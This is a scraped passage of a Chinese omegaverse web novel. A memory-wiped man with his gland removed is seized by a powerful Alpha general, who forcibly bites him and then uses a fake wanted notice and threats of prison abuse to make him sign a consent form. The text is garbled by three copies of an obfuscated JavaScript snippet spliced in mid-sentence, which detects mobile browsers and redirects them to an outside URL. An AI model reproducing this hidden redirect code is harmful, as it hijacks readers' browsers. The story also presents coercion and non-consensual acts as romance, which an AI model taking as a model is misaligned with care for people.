《残次O切除腺体后》 1. 第 1 章 嘀嘀—— 机械声在迟晓耳边响起,意识恢复的同时,脑部与后颈同时蹿起一阵剧痛,他不由皱紧眉头。 一闪一闪的蓝光刺透眼睑,睫毛无力地颤抖几下,他终于睁开眼睛。 四周是纯白舱壁,像一口白色的棺材,他平躺着,一圈圈蓝色光带自上而下扫过他的全身,迷幻得不真实,却极为熟悉。 这是…… 作为研究员的记忆从灰烬中翻出,他知道这是什么地方。 他在VOB全景体检仪里。 造价相当于中型医院的尖端设备,全联盟都没有几台,正在给他体检。 迟晓抬手摸上身体。果然,他全身赤·裸,只盖了一条薄薄的体检专用盖布。 “初步体检结束,您的报告将在五分钟后生成。”温柔的机器女声响起,确认了迟晓的判断。 体检仪无声打开,露出发光的白色天花板。 他没有立刻起身,而是谨慎地打量房间。 四壁和天花板一样泛着冷光,空荡,寂静,没有人气。 这是哪里?他怎么会在这?明明前一刻,他还在卢夫星一望无际的沙原上,与赫尔举办订婚典礼。 “睡够了?”一个声音突兀地响起。 迟晓吓了一跳,手指下意识攥紧薄布。 一个男人缓缓步入他的视野。 这是个年轻的军人,五官英气逼人,带着浓墨重彩的俊美,和无法忽视的傲慢,令人心生畏惧。异于常人的高大身材包裹在黑色军服中,使这威慑力又放大数倍。 当他深邃的目光俯视过来时,迟晓看到一双幽蓝的瞳仁,无情,冷酷,深处像有火焰灼烧。 这是个等级很高的Alpha! 迟晓本能地瑟缩了一下。 他抓紧几乎无法蔽体的薄巾,又想起自己已经切除了Omega腺体,算是Beta了,不用再害怕Alpha。 他于是轻吸一口气,撑起身,迎上那人目光。 军人的视线落在那只抓紧单薄布料的手上,危险地眯起眼,又盯住了他。 “睡够了就来聊聊,你跑到那个垃圾星上都做了什么?” 声音十足轻缓,却像冰涧中的暗流般危险。 迟晓一下子睁大眼睛,来自顶级Alpha的信息素笼罩了他。 缺失腺体后,他已经闻不到信息素的味道,Alpha的信息素成了泰山压顶般的等级压制,让他浑身不可遏制地细细颤抖。 他说不出话来,更不知道该说什么。 五年前,他摘除腺体,清除部分记忆,来到卢夫星。 这是联盟边境上最偏僻的居住点,遍布荒原,科技落后,人们像生活在蛮荒时代,缺乏知识与文化。 他是第一个来到这里传播知识,发展教育的人。 他建立新式学校,向中央星系的慈善机构发出捐助请求,一点点为孩子们改善学习条件。 这是他准备渡过余生的地方。 今天,本来是他和赫尔——卢夫星的领袖之子,也是荒星最强的Alpha——定婚的日子。 星际时代以来,Omega已经极度稀缺,整个卢夫星没有Omega,而最“像”Omega的他得到了所有人的尊敬和爱戴。 按照习俗,他一身盛装,牵着部族里最可爱的小姑娘蜜莉,来到王子面前。 英俊的Alpha难掩喜悦,在仪式最后,热情地吻向他的后颈,释放出占有的信息素。 可就在这时,巨大的飞船从天而降,掀起满天沙暴。 赫尔抽搐着倒在地上,他也因一股突如其来的压迫感失去了意识。 那就是所谓的信息素压制吧。迟晓意识到。 他晕倒前看到的人影和眼前的这个军人重叠,是同样强大的气场。 可是,随着回忆的深入,某种早已忘却的恐惧被翻搅而出。 那是五年前,他独自在边境小诊所的病床上醒来。后颈伤口包着药贴,一阵阵刺痛。脑部刚做了清除记忆的手术,一动就晕眩欲呕。 他翻遍全身,只有口袋里的一张纸条。 ——【逃走,藏起来,远离中央星系!永远,永远不要被抓住!!】 凌乱的笔画显示恐惧,但确实是他的笔迹。 他一定是惹上了什么可怕的事,才会不顾一切地逃跑。 但他什么都不记得了,只能按纸条写的,逃到偏僻星球,准备下半辈子都留在那里支教。 可只过5年就被抓住了,还是被泛星系联盟正规军抓住。 手术前自己不过是一名腺体研究所的研究员,值得出动星舰抓人吗? 他自认为躲藏得够好,又是怎么被发现的? 他当年到底做了什么? 一连串疑问涌入脑中,迟晓只觉得太阳穴突突跳动。 别慌,他安慰自己。 试着从这个Alpha军官嘴里套出点什么,再想办法逃脱。 Alpha还在等着他的回答,迟晓露出温顺的笑容,问:“您能先告诉我,是怎么找到我的吗?” 军人嗤笑一声,面容更冷了。 迟晓不会知道,他的笑让本就愤怒的秦瀚洋几乎怒火中烧。 作为全联盟最顶级的Alpha,他苦找了五年的人,竟然任由另一个Alpha亲吻后颈,还有了一个孩子! 荒星沙暴都没有他那一刻狂暴。 他的信息素霎时暴乱,不顾星舰中控系统警告,强行闯入沙暴抓走了迟晓,却没想到迟晓太过脆弱,连教训土著的威压余波都承受不住。 现在,他压抑着怒气要一个解释,迟晓还敢反问他!还用这种疏离的语气! 秦瀚洋一声冷哼,火气越发上冲。 要在以往,他根本不会理会迟晓的问题,可五年的漫长寻找让他学会了克制。 他看着青年攥紧胸前的薄布,手背单薄到透出青色血管,难以想象那盖布之下赤·裸的身体有多瘦削。 逃离他的迟晓柔弱又无助,像一只可怜兮兮的流浪小白兔。 只有一双眼睛还是那么漂亮,躲在蚌壳里的黑珍珠一样,在他的注视下,不安地眨动。 秦瀚洋的心脏好似被那颤动的睫毛轻挠了一下,怒气竟消减了大半。 他手指蜷起,如缩回利爪的兽。 当迟晓以为军官将要发怒时,面前闪出一面光屏。 是一张孩子们上课的照片。 正是他发给慈善机构申请捐助的照片。 从这张照片找到他的?可是... “照片没拍到我。”他不解地说。 “是没有,但到处都是你的影响。” 影响? 迟晓仔细查看。 照片上,每个孩子的桌面上都摆了几株小植物,叶片上挂着写了字的小纸条。 这是自然课的内容。 迟晓从前的研究方向是古代草药,他确实也曾经效仿古人写下愿望挂在枝头。 可是,仅从这一点就辨认出来,可见军方为抓他下了不少功夫。 迟晓的心又沉了几分。 “我明白了,”他说,“但至少,请把这次捐助的物资送来。” “你还惦记着捐助?”军官冷冷道。 啪!沉重的闷响落在机器壁上,紧贴着迟晓耳朵。 “你还没解释,为什么和那个野人在一起,还给他生了孩子!” Alpha双手撑在迟晓两侧,强势的气息牢笼般困住Omega。 迟晓本能地闭上眼哆嗦了一下,人已被阴影整个罩住。 他过了几秒才反应过来。 野人,孩子?难道是说黑皮肤的赫尔和蜜莉。 可是,和他们有什么关系? 他不是触犯了法律才被军方抓捕的吗?和谁生孩子也不允许吗? 还是,会牵连到他们? 迟晓赶忙解释:“不是的,那个小姑娘只是我的学生,我和那个Alpha也没有发生关系。请不要为难他们。” 他说得足够诚恳,却见那个军人发出一声冷笑。 “哦?没发生关系?” 秦瀚洋还记得,五年前,迟晓欺骗他时,也是这样诚恳。 被终身标记后的Omega乖顺地窝在他怀里,答应永远和他在一起。 可转眼就跑得不见踪影。 再找到时,身上却留着别的Alpha信息素的臭味! 他扣紧迟晓的肩膀。 “那为什么我闻不到你的信息素?你被他标记了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281324|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 好痛!! 迟晓强忍住才没有叫出声。 Omega被终身标记后,信息素就只有标记他的Alpha能闻到。 可是他有没有被标记和这个Alpha有什么关系? 迟晓再好的脾气也忍不了了,用力推了秦瀚洋一把:“因为我不是Omega,没有信息素也生不了孩子!” 秦瀚洋被这意外的反抗推掉了手,他僵住一般,一双眼睛凶狠地瞪视迟晓。 一时间,空气仿佛凝固。 这一推耗尽了全部力气,迟晓轻喘着与男人对峙,眼里是惧怕和倔强。 “你在胡说什么?”秦瀚洋皱起眉,更疑惑也更愤怒了,猛地伸手过来。 要被打了! 迟晓条件反射地偏头,但预想的痛击没有到来。突兀的机械女声救了他。 “您的自定义体检报告如下:Omega能力等级:残次。腺体受损度90%,中度脑损伤,记忆缺失,生殖腔受损,肝肾功能受损。健康系数:30%,建议:立刻就医。再重复一遍……” 那手收了回去,拿起打印出的体检报告,仔细查看。 迟晓松了口气。 可是仪器为什么依然判定他是Omega?他明明摘除腺体了,等级残次又是怎么回事?? 难道是那个黑诊所没切干净?怪不得后颈老是疼。 从最低等级变成残次,迟晓哭笑不得。 看样子那个军官也很在意,将报告攥得发皱。加上之前的态度,不禁让迟晓怀疑,他们以前认识,可能还有私仇。 迟晓偷偷打量,这才注意到军服的徽章。 好像是少将!? 不会吧……将军级别不都是出身世家,他怎么会得罪这种大人物? 残存的记忆里,他从来谨小慎微。 贫困的出身使然,哪怕分化成珍贵的Omega,也安守本分,低调行事。 无论如何也不会招惹麻烦。 和这种世家子弟应该完全没有交集才对…… 正在他疑惑时,那人又开口了,眉头紧锁。 “谁把你伤成这样的?” 伤?这人以为他没有腺体和记忆是因为受伤?但也没什么不能说的,反正迟早会被查出来。 “我自己去做了手术。”迟晓平淡地说,好像摘除腺体,删除记忆是再普通不过的事。 “你自己做的?” 迟晓嗯了一声,下一秒他的手臂就被大力抓住,拉了过去。 “啊!”他吃痛地叫出声。Alpha被他推开过一次,这次力气大得要捏碎他的骨头,根本不可能反抗。 身体被牢牢制住,一股灼热的气息爆炸般将他笼住。 这是顶级Alpha的信息素,比赫尔的强势百倍,根本不是一个量级。 迟晓在无法逃避的惊惧中意识到。这个军人一直压抑的什么终于爆发出来。 他克制不住地发抖,但Omega该有的失控没有到来,因为腺体残缺,他闻不出信息素的味道,只觉得灭顶的恐惧,想逃,又想跪下求饶。 那人贴得更近了,粗糙的触感划过皮肤。 那是他的手指! “住手……”迟晓羞愤交加。手术留下了大面积的可怕疤痕,被那人粗鲁地摩''挲。 更糟的是,薄单在拉扯中滑落,只能狼狈地攥紧一角,勉强遮掩。 好不容易,那人松开了他。 迟晓在瘫倒前手忙脚乱地拉回布料,没等遮住身体,嘶地一声,单子被大力拽走。 “!!” 他来不及震惊,整个人已被翻转,后背贴上冰冷的军服,Alpha像山一般沉沉压下,后颈一片湿热。 那人含住了Omega最敏感的部位,牙齿抵上疤痕,像要把那个地方连皮带肉吃进嘴里。 “啊!”迟晓受不了,深植于灵魂深处的恐惧占据全身。他绷紧身体,像案板上的鱼一样奋力挣扎。 “住手!我要告你伤害……!” “告我?你不知道我是谁吗?”男人兽一般咬住他,齿缝间挤出讥讽。 “不知道!我才不管你是谁!” 话音未落,那人动作陡然猛烈,迟晓惨叫一声,后颈传来尖锐的疼痛。 2. 第 2 章 这个人,竟然真的想标记他! 热流涌入残缺的后颈,原本的刺疼变成了火烧般的灼痛,某种熟悉的恐惧浮了上来。似乎曾经,他也被这般强势地对待过,无助地挣扎,哭泣,求饶过。 他的脑中一片混乱,终于在一声尖锐的鸣声里,坠入黑暗。 —— 机器的嗡鸣持续不停,一圈圈光环从头扫描到脚。 迟晓再次醒来,发现自己又躺回VOB全景体检仪里。这一次是深度体检的红色光圈在扫描。 看来那人又让他体检了一次。 他没有腺体,不能被标记。被Alpha强行注入信息素,才导致他晕倒。 细细的管线钻进血管和头皮,产生的疼痛还没有后颈的刺痛强烈。 检查要持续三十分钟并且不能中断。迟晓精疲力尽,抬手擦去眼角生理性的泪珠。 没有了吓人的压迫感,他终于能冷静地梳理一下情况。 一句话来说就是,他因为某个他不记得的原因被不记得的仇家发现并且抓住了。 可是,迟晓回忆着年轻军人凶狠的神情,又觉得不太对劲。 谁会一见面就标记仇人啊。 除非他们之间... 不可能。迟晓想都不愿想。 一个这么年轻就当上少将的Alpha极其罕见,必然是出身世家的SS级Alpha,而他自己摘除腺体前是最低等的C级,从来都是被人轻视嘲讽,连恋爱也没谈过,怎么可能和这种天之骄子有情感纠葛呢。 最重要的是,A与O之间的等级如果相差太多,Omega会因为无法承受强烈的标记而受伤。 于情于理,他都不会往那方面考虑。 所以,他一个自认循规蹈矩的C级Omega,到底做了什么惹到一位SS级的少将Alpha? 迟晓强忍头痛,努力回忆。 毫无所获。 他的记忆被不规范地清洗过,十分混乱,而且,回忆里几乎没有快乐的事。 他出生在三等平民的星球,父亲早逝,留下了巨额外债,生活没有一刻是轻松的。 即使在他15岁生日,分化成Omega的那一天,当时的无措也胜过喜悦。相比之下,总是郁郁不乐的母亲倒是欣喜若狂。 因为,他是唯一一个自然分化的Omega。 从星际时代以来,自然分化的Omega已经完全不存在了。 如今的Omega都是腺体研究所的科学家用DNA筛选的方式培育出来的。 几百年来,只有世家大族才有财力培育Omega后代。也只有世族的Alpha可以拥有Omega伴侣,得以享受信息素合一的极致愉悦,同时孕育更优秀的Alpha后代。 这些经过筛选优化,为世家“订制”的Omega精致得不似凡人。 联盟为保护这些珍贵的造物,专门制定保护条例,开办特级学院。腺体研究所为他们研制专属药剂做成抑制环,不伤害他们精贵的腺体又能舒适地渡过婚前的情热期。 至于婚嫁,因他们而存在的基因配对所会提供贴心的服务,一切以他们的选择为优先。 他们是人类失而复得的珍宝。从出生到死亡,光芒四射,受尽宠爱。 可是迟晓不一样。 自然分化的Omega完全没有基因优势,15岁的少年长得只能说是眉清目秀。说他是个顶好看的Beta都可以,信息素等级更是低到前所未有的C级。 因为没有家族势力保护,腺体研究所的专家们甚至想把他当做试验品,研究返祖分化现象。 还好他的母亲够强悍,搬出Omega保护条例反击,他才得以获得与其他Omega一样的待遇,而不是躺在实验室抽血打针。 他清晰地记得,离开家乡前往主星上学的那一天。 站台上,母亲双手按着他的肩头:“你可是唯一一个自然分化的Omega,赶紧挑一个S级的Alpha配对,我们就能把债还上了,知不知道!” 他在强势的注视下,仓促点了点头。 可别说S级Alpha,稍好些的A级Alpha都看不上他。 事实上,他进入菁雅学院的Omega班级没多久,就被孤立了。 那些鲜花般精致的Omega带着家族的光环,高高在上俯视着他。在这座等级森严的丛林里,他是最底层的小草。 那算是他人生中最黑暗的时候了吧,他当然一点也不想回忆。 但记忆一旦开了闸就再也停不下来。一张张面孔从眼前胡乱闪过,或嘲笑或鄙夷,耳边一会是母亲的耳提面命,一会是催债的凶神恶煞的警告。 还有刺鼻的香水,五颜六色的化妆盒。 他也曾拼尽全力想变得美丽,用讨好和乖巧来融入花丛,换来的却是毫不留情的侮辱。 一桩桩一件件,逼迫着他沿着记忆的迷宫拼命躲避,却突然一脚踏空,天旋地转。 “滴!——” 体检仪刺耳的告警声响彻房间。秦瀚洋反手关掉机器,舱盖打开,他被眼前的一幕震住了。 迟晓的身体过电般颤抖,管线松脱了,鲜血流了一台子。 “迟晓!” 秦瀚洋快速将人抱出机器,本.能地释放信息素想安抚怀里的Omega,但迟晓非但没好转,反而拧起双眉,显得更加痛苦。 “可恶。” 面对铺天盖地的异种都没有一丝恐惧的秦瀚洋感到一阵心悸。 —— 按下紧急呼叫后,医护人员很快赶来。 秦瀚洋的眼前还印着刺目的红。红色血点溅在迟晓惨白的脸上,使那张脸惊人的美艳却毫无生气。 秦瀚洋的心脏狠狠揪紧。 体检报告显示,切除腺体,清洗记忆的确实是人为的手术,而非受伤。 他不敢相信迟晓竟这么厌恶他,舍弃一切也要离开他。 若不是这次偶然的捐助,他根本不可能发现那张照片,进而发现他。 秦瀚洋捡起散落一地的体检报告,攥紧手指,揉破了纸页。。 30%的健康系数,脆弱如纸的生命,他不敢想象如果他没有来,迟晓会发生什么。 “白泽!”他脸色阴沉,唤了声。 “来啦!”一个白色金属球飘了过来,欢快道。“您忠实的仆人为您效劳~哦糟糕!您精神力不稳定,必须打镇定剂!” “白泽”是“大地号”护卫舰的主控系统,多年与火爆脾气的秦少将合作,已经磨合出格外活泼的性格,并熟练掌握了人类的技能——察言观色。 毕竟秦瀚洋是联盟唯一的SSS级Alpha,也是唯一能操作神级机甲“盘古”对抗异种的人。 处于婚育期的强大Alpha只能靠镇定剂渡过易感期,长期低气压,他可不得帮他活跃下。 就像现在。可它的意见被无视了。 “调查报告呢?”秦瀚洋问。 白泽只好投影出一面光屏。 调查报告显示,一大一小两个卢夫星人和迟晓都没有亲缘或标记关系。 秦瀚洋扫视屏幕,感觉焦躁被文字的柔光抚平了一些。 “放这两人回去。”他说,顿了顿,又加了一句。 “和捐助物资一起。” “遵命!”白泽说。暗地里庆幸,此前他真怕他一怒之下轰了那颗可怜的小星球。 秦瀚洋又皱眉看向白大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281325|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褂们:“你立刻联络江教授,请他尽快来大地号一趟。” “腺体研究所的江怀意教授吗?这就联系。对了,”白泽又说,“联盟议庭发来消息,催促您结束边境巡航,回去和匹配度最高的Omega结婚。” 秦瀚洋冷笑一声。 “让他们准备好婚礼,新人已经在路上了。” 体检仪边,医生们正紧张地忙碌着,一截青白的手臂垂在体检台边,鲜血从指尖滴落。 秦瀚洋眉头锁起。 “稳定剂呢,打吧。” —— 抢救一直持续到当天夜里,情况很不妙,病人也一直没醒。 医疗组一筹莫展时,江怀意终于来了。 作为腺体研究所的首席科学家和联盟Omega健康事务的顾问,六十多岁的江教授无疑是最成功的Beta之一。 秦瀚洋能请来这位医学泰斗,主要还是因为他曾是自己的主治医生,同时也是迟晓的导师。 江教授看到躺在医疗舱中的迟晓时,瞬间红了眼眶。这个一头白发的矮胖小老头用短粗的手指捂住嘴。 “抱歉,瀚洋,我只是,哦...我没想到这孩子会这么傻。自然分化的Omega腺体有多珍贵,他竟然说切就切了……” 他从兜里拿出棕色小瓶子,倒了一粒药片吃了下去。 秦瀚洋知道这是神经松弛剂,江教授是个很容易激动的人。 吃过药教授总算恢复镇定。“放心,体检报告都是吓唬人的,我会治好他。” “恢复他的腺体。” “当然。” “还有记忆。” “这个……”江怀意本想说,他不认为迟晓愿意恢复,但他接触到秦瀚洋的目光,脑海里不禁浮现出一副画面。 昏暗中,刚分化的Alpha少年唇边染血,紧紧抱着怀里的Omega青年。青年已然昏迷,细白的后颈遍布血痕,惨不忍睹。 江怀意打了个机灵。 他怎么忘了,秦家有多么权势滔天,而这个联盟唯一的顶级Alpha有多么疯狂。 小老头很快打起精神:“让他想起一切?没问题!” —— 新的治疗方案十分有效,仅仅一天后,迟晓就清醒了。 睁开眼的时候,他仿佛还沉浸在某个荒诞的梦里,被恶意包围,找不到真实感。 直到眼前缓缓映出一个黑色的身影。 年轻的少将正低着头,幽深黑眸俯视着他。 !! 迟晓条件反射地往后躲,可他没力气,只移动了一点,头还磕上冰冷的床栏。 男人的手动了一下。 迟晓怀疑自己还没醒透,竟然觉得这人要扶他? 但那人很快将手臂背在身后,再次变得冷硬。 “躲什么?我能吃了你吗?”他说。 不能,但你会咬我,迟晓想。后颈还疼着,他十万分防备地看着对方:“你……你想做什么?” 这间新房间里只有他躺着的床和一桌一椅,一切都是洁白的,简单至极。消毒水的味道表明这里是病房。 那人站在病床边,依旧只有他们两人。 好在这次他穿了衣服,是一套浅蓝条纹的病号服。 “你以为我想做什么?我对残次Omega没兴趣。”男人说着在椅子上坐下。 残次两个字刺痛了迟晓,但男人丝毫没察觉,继续道: “你昏迷了三天,耽误了不少事。” 他径直打开一面光屏,一份文件出现在光屏上。 要开始清算了吗,迟晓不由地坐正。 第一行红字就足够让人心惊肉跳。 【A级通缉令】 3. 第 3 章 【A级通缉令】 ——嫌犯:迟晓,二十七岁,男性Omega,涉嫌盗窃联盟机密战略物资,全联盟通缉。 “这是一份联盟警察的内部材料,我想你明白是什么意思。”那人冷冰冰地说。 迟晓困难地吞咽了一下。他明白意思,但他完全不记得偷过东西,更不知道战略物资是什么。 “我...我没有...”他下意识地辩解。 “你确定?你的记忆存在大面积缺损。你自己都不记得了吧。” “……”他说的没错,迟晓头又疼了,皱紧眉头闭上眼。 那人没有耐心等他恢复。 “知道盗窃稀缺物资要判几年吗?” 他顿了顿,让时间增加煎熬。 “终身监禁。永无出头之日。” 轻飘飘的语气宛如寒冰砸落。 迟晓由内而外地发冷。 因为记忆缺失,他无法为自己辩解。 他甚至自我怀疑,原来一直在逃避的事情就是这个。 “Omega保护条例规定,所有Omega都有赦免权……”他挣扎道,却被打断。 “不适用。”男人无情道。 “你腺体缺失,无法被标记也无法生育。残次级Omega,视同Beta。” 迟晓沉默了。 那人慢吞吞地继续道: “联盟监狱还从没关押过Omega,你这种无法被标记的Omega,应该……很受欢迎。 你知道我的意思。” 迟晓眼见着又惨白了几分,嘴唇褪了颜色,细不可查地颤抖。 秦瀚洋将他这副模样收在眼底,看似漠不关心,手指却已暗暗攥紧。他心疼可怜的Omega,可又不得不欺骗他,恐吓他。 江教授查出来,体检仪是在进行记忆探查时被迫中断,才导致探针失控,扎破血管,引起大出血。 这说明迟晓十分抗拒回忆过往,回忆有他的过去。 迟晓排斥他,以至于闻到他的信息素都会痛苦。 所以,秦瀚洋偏偏要他记起一切! 记起他们共渡的所有时光,记起他的身体曾如何被自己的信息素充盈,高.潮到哭泣。 迟晓必须是他的。 这是注定的! …… 他拜托江教授恢复迟晓的记忆和腺体。 不过,载入记忆的过程必须迟晓自愿。如果迟晓不配合,强行治疗,只会加重创伤,导致记忆混乱甚至智力受损。 所以,秦瀚洋才想出这么一个主意,假借通缉令吓唬迟晓,让他乖乖配合。 这其中自然也有一点报复的意味,可真看到迟晓害怕的模样,心疼的却是他自己。 不想再吓对方,秦瀚洋拿出早已准备好的文件。 “你运气挺好。腺体研究所提出了申请,他们的一项实验正需要你这样的Omega志愿者。只要签字,监狱就和你没关系了。” 那是一份受试者知情同意书。 “受试?什么实验?”迟晓谨慎地问。 腺体研究所时常接受私人委托,委托者通常是各大世家,某些试验相当匪夷所思。 “最高机密,你无需知道。”秦瀚洋神情冷漠。“你怕什么?腺研所不是你工作过的地方吗,你还怕被当成小白鼠吗?” 就是工作过才知道有多可怕,一些机密实验他没参与过,但听说过量抽取信息素,强.制情热之类都是合规的操作。 “我要见江怀意教授。”迟晓说。他记得那位和蔼可亲的导师,如果能得到他的保证他才会签字。 秦瀚洋顿时很不是滋味。这人把他忘得一干二净却还记得别人。 他甩下协议书:“你谁也不能见。要么签字,要么进监狱。中央刑事厅的人已经到了,他们可没什么耐心。” 似乎没有选择了。 迟晓咬住嘴唇,撇了男人一眼,又认命般垂下眼。 秦瀚洋被这一眼刺到了心里。 迟晓的眼睛像泡在水里的黑珍珠一般,瞪人的时候都泛着光泽,躲在轻颤的栗色睫毛后面,诱人探究。 秦瀚洋曾经无数次沉溺在那双眼眸中。 青年像被命运的巨石压住的小草,看似温软弱小,却有着顽强的根茎,无声无息生长,秦瀚洋分化前的躁动和痛楚都曾被这份温柔抚慰。 而今,那双眼里已没有了他。 残缺的是迟晓,被抛弃的倒像是他自己。 秦瀚洋眸色晦暗,呼吸都沉郁了几分。 他看着迟晓签上名字,秀丽的字体一如以往,才渐渐找回了掌控的感觉。 只要签了字,这个人就是他的,再也逃不掉! 迟晓看也没看那份协议的内容,就签上了名字。他不知道,这短短的几秒钟,他已经把自己给卖了。 文件被抽走,他疲惫地垂下头。 军靴沉闷的脚步声往屋外走去,迟晓急忙喊住军官。 “请等一下。” 那人停步,半转回身。 “你是谁?我以前认识你,对吗?” “……” 军官的侧颜线条极有男人味,是会让菁雅学院那帮金贵Omega尖叫的帅气野性的Alpha,放在以前,他或许也会心动,但现在,他只感到不适和惧怕。 知道了名字,他就可以避免再见到他。 许久,久得迟晓以为得不到回答时,那人开口了,声音低沉。 “我的名字,叫秦瀚洋。” “这次,你不会忘记。” …… . 迟晓还记得在腺体研究所工作的情形。 他作为最年轻的研究员,参与过几次低密级的实验。 这些实验通常是为某位大人物配置专属药剂。 某些Alpha精神力时刻处在暴走的边缘,需要特制稳定剂。某些腺体意外受伤的Omega则需要腺体保养剂。 迟晓还研制过一种安慰剂,是为一位身份尊贵的Omega夫人定制的。 夫人在丈夫去世后不愿意接受别的Alpha,而是宁愿一辈子用和丈夫信息素一样的人工信息素渡过易感期。 迟晓被她的痴情打动,那次的实验是他做的最成功的一次。 他也听说过更高保密级别的试验。 一位家世煊赫的Alpha看上了一位平民Beta,强行将对方改造成Omega。移植人造腺体,注射催.情剂模拟情热期,且只有他的信息素可以安抚。 这是犯罪。 但世家的特权是最好的保护伞。 那个军人,似乎也出身世家…… “嘶。”头又疼了,他还是少回忆过去比较好。 他只记得,委托人的地位越高,实验密级也越高。从这次实验的密级来看,这位委托人一定相当尊贵。 怪不得可以使他摆脱牢狱之灾,但试验目的就不好说了。 用珍贵的Omega做实验品,迟晓嗅到了禁忌的欲.望的味道。 可他别无选择。 …… 当天下午,迟晓被蒙住眼睛带上飞船。 几乎没有感到起落和跃迁,飞船就抵达了目的地。 他在密闭的舱室中忐忑地等待接他的人,然后,就看见了一个熟悉的身影。 标志性的雪白卷发,和几乎要撑开白大褂扣子的滚圆肚腩。 是江怀意,江教授! 竟然能见到恩师,迟晓瞬间心潮起伏。 江怀意的反应比他还大。他快步走过来,一把握住迟晓的手,眼眶发红。 “孩子,你...”他哽咽了一下,“这几年你去哪儿了?怎么一声不吭就走了,还成了这幅样子?” 迟晓不知道该怎么说,他忘记了很多事,还稀里糊涂成了通缉犯。 江教授看出他的困窘,拉着他坐下。 “抱歉,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281326|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不该问的,不管发生了什么,你都是我最出色的学生!” 接着,江教授憋不住了一样,自己打开了话匣子,“知道我是怎么找到你的吗?VOB体检仪把你的体检报告上传了,我看到志愿者筛选系统把你列出来的时候都不敢相信。正好我手头有个试验。我对自己说,一定要把你争取过来,绝不能让你被那些穿制服的抓走。还好我赶上了,谢天谢地!” “什么,盗窃战略物资?我一个字也不信。你不是那种人!这其中一定有什么错误,等你恢复记忆,我帮你申诉。” “这个实验的目的?很遗憾我没法告诉你。最高密级,你也知道的。但是!我保证!绝不会有伤害,你只需要配合就好。毕竟你已经像个玻璃人了,一点损伤也经受不住了,可怜的孩子。” 江教授兀自擦眼泪的时候,迟晓也红了眼眶。 能遇到这位善良的教授是他的幸运。 他不在乎Omega的特殊身份,愿望不过就是能平平淡淡过完一生。就像行过荆棘和沼泽的疲惫旅人,只想有个地方落脚歇息。 …… 之后,迟晓被带到自己的房间,打开门时他惊呆了。 腺体研究所有很多实验基地,都是按医院设计。 可这房间却像宫殿。 精致的家具,放满了书的橡木书架,云朵般柔软的羊毛地毯和淡蓝色小花壁纸,所有这一切都散发着旧能源时代优雅闲适的气息。 卧室衣柜里全是布料柔软的浅色系衣服,为他量身定做的一样。而黑金楠木大床上的智能床垫能根据他的姿势调节成最合适的形状。 清风吹开白色纱帘,送来花草的芬芳,窗外是草原,雪山,和倒映着雪山的湖泊。 所有的一切都过分地符合他的喜好。 “让你愉快也是实验的一部分,都是写在委托合同里的。”江怀意说。 原来是教授安排的,迟晓很是感激,没有多想。 试验很快开始。 第二天,他被刮取了部分残留的腺体组织。 第三天,他需要坐进一台仪器里。 球形仪器打开时像一个吃豆豆游戏里的吃豆人,嘴中间的材质像流动的奶油,在迟晓坐下时下陷包裹住他。 尽管不安,迟晓也没有问这仪器是做什么的。因为他知道,按照保密协议,他不应该发问也得不到回答。 但江教授注意到了他的不安。 “这是研究这儿的。”他笑着点了点自己脑袋。“放轻松,不会疼的。” 江怀意没有告诉迟晓,这是恢复记忆的仪器。 小老头心里难受,往事对于迟晓都太过残忍,记起来也是徒增伤害。 吃豆人缓缓闭上了嘴,乳白色的胶状物包住迟晓全身。 胶状物似乎含有麻醉成分,他的身体逐渐松弛,像漂浮在羊水中的婴儿一样,安全,惬意。 他不由自主闭上眼,在似睡非睡间恍惚着。 在最放松的时候,毫无预兆地,身体失去支撑飞速下坠。 瞬间,无数纷乱的图像涌入脑海。 洒满阳光的小房间里,他被一个少年揽在怀中。 “学长,你怎么这么可爱。” 青涩的嗓音带着笑,震颤着,让他脊背发麻。 一晃眼,月光照亮床头,他一身薄汗,咬着被角,被被子深处细致的触探逼出眼泪。 “学长,你好香。”少年的声音沙哑,带着潮湿的热气。“再给我一些,好不好?” 少年的面孔模糊,却莫名熟悉,让迟晓沉浸在甜蜜中。 画面却骤然碎裂。 无数片段纷至沓来。 男人鄙夷的眼神,冷嘲热讽的人群,后颈尖锐的疼痛,一幕幕像刀片般割进大脑。 最终归为一个声音。 ——“别做Omega了,这是为你好。” 不!! 像从噩梦中惊醒,迟晓大口喘''息着,睁开了眼。 4. 第 4 章 他依然坐着,但四周一片昏暗,他也不是一个人。 强劲的音乐快要震聋耳朵,五颜六色的光弧随着电音的节奏划过空间,照出远处妖魔般扭动的躯体。 